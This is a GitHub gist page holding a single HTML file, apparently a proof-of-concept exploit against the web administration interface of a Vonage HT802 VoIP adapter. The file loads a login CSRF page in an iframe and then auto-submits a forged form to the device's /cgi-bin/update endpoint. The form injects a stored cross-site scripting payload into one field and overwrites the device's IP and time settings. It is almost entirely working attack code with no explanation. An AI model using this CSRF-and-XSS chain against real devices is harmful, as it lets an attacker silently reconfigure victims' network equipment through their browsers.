Skip to content

Instantly share code, notes, and snippets.

@danzajork

danzajork/Vonage-ht802-xss-injection.html Secret

Created November 2, 2017 23:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save danzajork/68632f12b471ccdb6d86ef122d49ee49 to your computer and use it in GitHub Desktop.
Save danzajork/68632f12b471ccdb6d86ef122d49ee49 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
Vonage-ht802-xss-injection.html
<html>
<body>
<iframe id="csrf" src="./login-csrf.html"></iframe>
<form id="xss-form" action="http://192.168.0.160/cgi-bin/update" method="post">
<input name="P196" value="">
<input name="P901" value="80">
<input name="P8" value="0">
<input name="P146" value="">
<input name="P148" value="">
<input name="P148" value="&quot;autofocus/onfocus=alert(1)//" maxlength="32" size="30" type="text">
<input name="P9" value="192">
<input name="P10" value="168">
<input name="P11" value="0">
<input name="P12" value="160">
<input name="P13" value="255">
<input name="P14" value="255">
<input name="P15" value="0">
<input name="P16" value="0">
<input name="P17" value="0">
<input name="P18" value="0">
<input name="P19" value="0">
<input name="P20" value="0">
<input name="P64" value="TZG%2B6">
<input name="P246" value="MTZ%2B6MDT%2B5%2CM3.2.0%2CM11.1.0">
<input name="P143" value="1">
<input name="P342" value="0">
<input name="update" value="update">
<input name="gnkey" type=hidden value=0b82>
</form>
<script>
var frame = document.getElementById('csrf');
frame.addEventListener("load", function() {
window.setTimeout(document.getElementById("xss-form").submit(),1000);
});
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment